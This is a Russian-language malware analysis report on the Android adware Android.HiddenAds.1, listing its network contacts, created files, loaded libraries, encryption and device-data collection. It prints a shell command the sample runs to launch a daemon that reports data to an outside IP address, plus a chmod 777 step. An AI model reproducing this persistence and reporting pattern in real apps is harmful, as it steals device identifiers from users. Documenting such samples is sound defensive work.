Техническая информация
Вредоносные функции:
Выполняет код следующих детектируемых угроз:
- Android.HiddenAds.1
Сетевая активность:
Подключается к:
- UDP(DNS) 8####.8.4.4:53
- TCP(HTTP/1.1) u.lb####.com:80
- TCP(TLS/1.0) and####.google####.com:443
- TCP(TLS/1.0) android####.go####.com:443
- TCP(TLS/1.2) 1####.250.102.94:443
- TCP(TLS/1.2) 1####.250.27.139:443
Запросы DNS:
- and####.google####.com
- android####.go####.com
- ll.chengh####.com
- ll.chengh####.com.####.8
- safebro####.google####.com
- u.lb####.com
Запросы HTTP POST:
- u.lb####.com/a.u
- u.lb####.com/g.k
- u.lb####.com/i.p
- u.lb####.com/m.p
Изменения в файловой системе:
Создает следующие файлы:
- /data/data/####/.appInfo
- /data/data/####/2EEF24FE5DEB938FAE0114D3244066CC.xml
- /data/data/####/2EEF24FE5DEB938FAE0114D3244066CC.xml.bak
- /data/data/####/306C0B42D94992C0-journal
- /data/data/####/383DAD2F65DCB1851B802D5D3AA2B870-journal
- /data/data/####/383DAD2F65DCB1851B802D5D3AA2B870-journal (deleted)
- /data/data/####/4B54FC7F01116CB8AE0114D3244066CC.xml
- /data/data/####/9ED6DA40FF4AF886.xml
- /data/data/####/E7F4A2FFB6B5E4C91B802D5D3AA2B870-journal
- /data/data/####/__pasys_remote_banner.tmp.jar
- /data/data/####/cd.dex
- /data/data/####/cd.dex.flock (deleted)
- /data/data/####/daemon
- /data/data/####/n.dex
- /data/data/####/n.dex.flock (deleted)
- /data/data/####/proc_auxv
- /data/data/####/umeng_general_config.xml
- /data/data/####/umeng_it.cache
- /data/media/####/DD937717104BEE120D1D132B4665E4FA.apk
- /data/media/####/XH.txt
- /data/media/####/cd.zip (deleted)
- /data/media/####/n.zip
- /data/media/####/tn.zip
Другие:
Запускает следующие shell-скрипты:
- /system/lib/arm/houdini /data/user/0/<Package>/files/daemon /data/user/0/<Package>/files/daemon -p <Package> -r am startservice --user 0 -n <Package>/com.srgws.util.Ywrd -e key daemon -h http://52.11.99.233:7123/report/allData -m -i 3322
- chmod 777 /data/user/0/<Package>/files/daemon
Загружает динамические библиотеки:
- libStarEngine
- libcnbkpvo
Использует следующие алгоритмы для шифрования данных:
- DES
- RSA-ECB-PKCS1Padding
Использует следующие алгоритмы для расшифровки данных:
- DES
Получает информацию о сети.
Получает информацию о телефоне (номер, IMEI и т. д.).
Добавляет задания в системный планировщик.
Отрисовывает собственные окна поверх других приложений.
Запрашивает разрешение на отображение системных уведомлений.
